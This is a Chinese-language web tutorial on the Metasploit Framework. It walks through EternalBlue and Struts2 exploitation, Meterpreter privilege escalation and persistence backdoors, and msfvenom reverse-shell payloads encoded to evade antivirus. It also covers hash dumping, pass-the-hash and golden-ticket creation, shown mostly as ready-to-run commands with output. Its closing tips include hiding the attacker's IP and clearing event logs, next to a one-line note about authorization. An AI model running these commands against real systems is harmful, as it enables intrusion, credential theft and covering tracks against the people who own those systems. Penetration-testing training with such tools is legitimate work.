联系管理员

开通文章发布权限

扫码 添加微信
微信图片
电话:18888888888 QQ:

Metasploit Framework:渗透测试的开源利刃

于渗透测试的广袤战场之上,Metasploit Framework 宛如一把寒光凛凛、削铁如泥的开源利刃。作为业内首屈一指的强大框架,它全方位支持从漏洞利用、载荷生成,到权限提升与横向移动的全流程攻击模拟。本教程精心打磨,自安装配置起步,深度挖掘核心模块,详解漏洞利用技巧,阐述后渗透操作要点,并佐以丰富实战案例,全程搭配示例命令及输出展示。助力您将这把利刃牢牢握在手中,在网络安全攻防的较量中披荆斩棘,精准洞察系统薄弱环节,强化网络安全防护体系。

1. 安装与启动

1.1 安装方法

  • Kali Linux(预装):

    sudo apt update && sudo apt install metasploit-framework

  • 其他系统

    # 使用官方安装脚本
    curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
    chmod +x msfinstall
    ./msfinstall

1.2 启动与更新

# 启动控制台
msfconsole

# 更新框架和数据库
msfupdate
msfdb init

2. 核心模块与命令

2.1 模块类型

模块类型功能描述
exploit漏洞利用代码
payload攻击成功后植入的恶意载荷
auxiliary辅助模块(扫描/嗅探等)
post后渗透操作(提权/信息收集)
encoder载荷编码(绕过杀软检测)

2.2 常用命令速查表

命令功能描述
search <关键词>搜索模块(如 search eternalblue
use <模块路径>加载模块(如 use exploit/windows/smb/ms17_010_eternalblue
show options显示当前模块需配置的参数
set <参数> <值>设置参数(如 set RHOSTS 192.168.1.10
runexploit执行模块
sessions -l列出所有活跃会话
sessions -i <ID>进入会话交互模式

3. 漏洞利用实战

案例 1:利用 EternalBlue(MS17-010)攻击 Windows 7

步骤 1:搜索并加载模块

msf6 > search eternalblue

Matching Modules
================
0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14  excellent  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

msf6 > use 0

步骤 2:配置参数

msf6 exploit(ms17_010_eternalblue) > show options

Module options:
   RHOSTS         目标 IP(必填)
   RPORT          445(默认 SMB 端口)

Payload options:
   LHOST          攻击者 IP(用于反向连接)
   LPORT          监听端口(默认 4444

msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.5
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

步骤 3:执行攻击

msf6 exploit(ms17_010_eternalblue) > run

[*] 192.168.1.10:445 - Connecting to target for exploitation...
[+] 192.168.1.10:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.10:445 - =-=-=-=-=-=-=-=-=-=-=-=-=- WIN !!! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (192.168.1.5:4444 → 192.168.1.10:49158)
meterpreter > 

案例 2:利用 Web 漏洞(Apache Struts2 S2-045)

步骤 1:加载模块并配置

msf6 > use exploit/multi/http/struts2_content_type_ognl
msf6 exploit(struts2_content_type_ognl) > set RHOSTS 192.168.1.20
msf6 exploit(struts2_content_type_ognl) > set TARGETURI /struts2-showcase/
msf6 exploit(struts2_content_type_ognl) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf6 exploit(struts2_content_type_ognl) > set LHOST 192.168.1.5

步骤 2:执行攻击

msf6 exploit(struts2_content_type_ognl) > run

[*] Sending malicious request to 192.168.1.20...
[*] Meterpreter session 2 opened (192.168.1.5:4444 → 192.168.1.20:35678)
meterpreter > sysinfo
Computer     : 192.168.1.20
OS           : Linux 3.10.0-957.el7.x86_64
Architecture : x64

4. 后渗透操作(Meterpreter)

4.1 基础命令

命令功能描述
sysinfo查看系统信息
getuid查看当前用户权限
shell进入目标系统命令行
upload <本地文件>上传文件到目标
download <远程文件>从目标下载文件
screenshot截取屏幕

4.2 权限提升

meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

4.3 持久化后门

meterpreter > run persistence -X -i 60 -p 4444 -r 192.168.1.5

[*] Creating a persistent agent: LHOST=192.168.1.5 LPORT=4444
[*] Persistent agent script is 54432 bytes long
[+] Persistent script uploaded to C:\Windows\Temp\qDZP.bat

5. 高级功能

5.1 载荷生成

# 生成 Windows 反向 Shell(exe 格式)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > shell.exe

# 生成 Linux 反弹 Shell(ELF 格式)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf > shell.elf

5.2 绕过杀软(编码)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe > encoded_shell.exe

5.3 横向移动(Pass the Hash)

meterpreter > load incognito
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

msf6 > use exploit/windows/smb/psexec
msf6 exploit(psexec) > set SMBUser Administrator
msf6 exploit(psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf6 exploit(psexec) > set RHOSTS 192.168.1.11
msf6 exploit(psexec) > run

6. 综合实战案例

目标:内网渗透(Windows Server 2008 → 域控服务器)

  1. 信息收集

    meterpreter > run post/windows/gather/enum_domain
    [+] Domain: CORP
    [+] Domain Controller: DC01.corp.local (192.168.10.1)

  2. 横向移动

    msf6 > use exploit/windows/smb/psexec
    msf6 exploit(psexec) > set RHOSTS 192.168.10.1
    msf6 exploit(psexec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
    msf6 exploit(psexec) > exploit

  3. 域控提权

    meterpreter > load kiwi
    meterpreter > golden_ticket_create -d corp.local -u Administrator -s S-1-5-21-123456789-1234567890-123456789 -k 31d6cfe0d16ae931b73c59d7e0c089c0 -t /root/golden.tck


7. 注意事项

  1. 合法授权:仅在授权范围内使用 Metasploit。

  2. 沙盒测试:未知漏洞代码先在隔离环境中验证。

  3. 流量隐蔽:使用 ProxychainsVPN 隐藏真实 IP。

  4. 日志清理

    meterpreter > run post/windows/manage/clearev	

相关文章

neo4j部署手册
Neo4j是一个高性能的,NOSQL图形数据库,它将结构化数据存储在网络上而不是表中。它是一个嵌入式的、基于磁盘的、具备完全的事务特性的Java持久化引擎,但是它将结构化数据存储在网络(从数学角度叫做图)上而不是表中。Neo4j也可以被看作是一个高性能的图引擎,该引擎具有成熟数据库的所有特性。程序员工作在一个面向对象的、灵活的网络结构下而不是严格、静态的表中——但是他们可以享受到具备完全的事务特性、企业级的数据库的所有好处。
DataX和DataX-WEB 安装步骤
DataX 是阿里云 DataWorks数据集成 的开源版本,在阿里巴巴集团内被广泛使用的离线数据同步工具/平台。DataX 实现了包括 MySQL、Oracle、OceanBase、SqlServer、Postgre、HDFS、Hive、ADS、HBase、TableStore(OTS)、 MaxCompute(ODPS)、Hologres、DRDS, databend 等各种异构数据源之间高效的数据同步功能。
K8S集群搭建手册(集群版)
kubernetes,简称K8s,是用8代替名字中间的8个字符“ubernete”而成的缩写。是一个开源的,用于管理云平台中多个主机上的容器化的应用,Kubernetes的目标是让部署容器化的应用简单并且高效(powerful),Kubernetes提供了应用部署,规划,更新,维护的一种机制。
Apollo部署手册
Apollo(阿波罗)是携程框架部门研发的分布式配置中心,能够集中化管理应用不同环境、不同集群的配置,配置修改后能够实时推送到应用端,并且具备规范的权限、流程治理等特性,适用于微服务配置管理场景。

评论

快捷导航

把好文章收藏到微信

打开微信,扫码查看

关闭

还没有账号?立即注册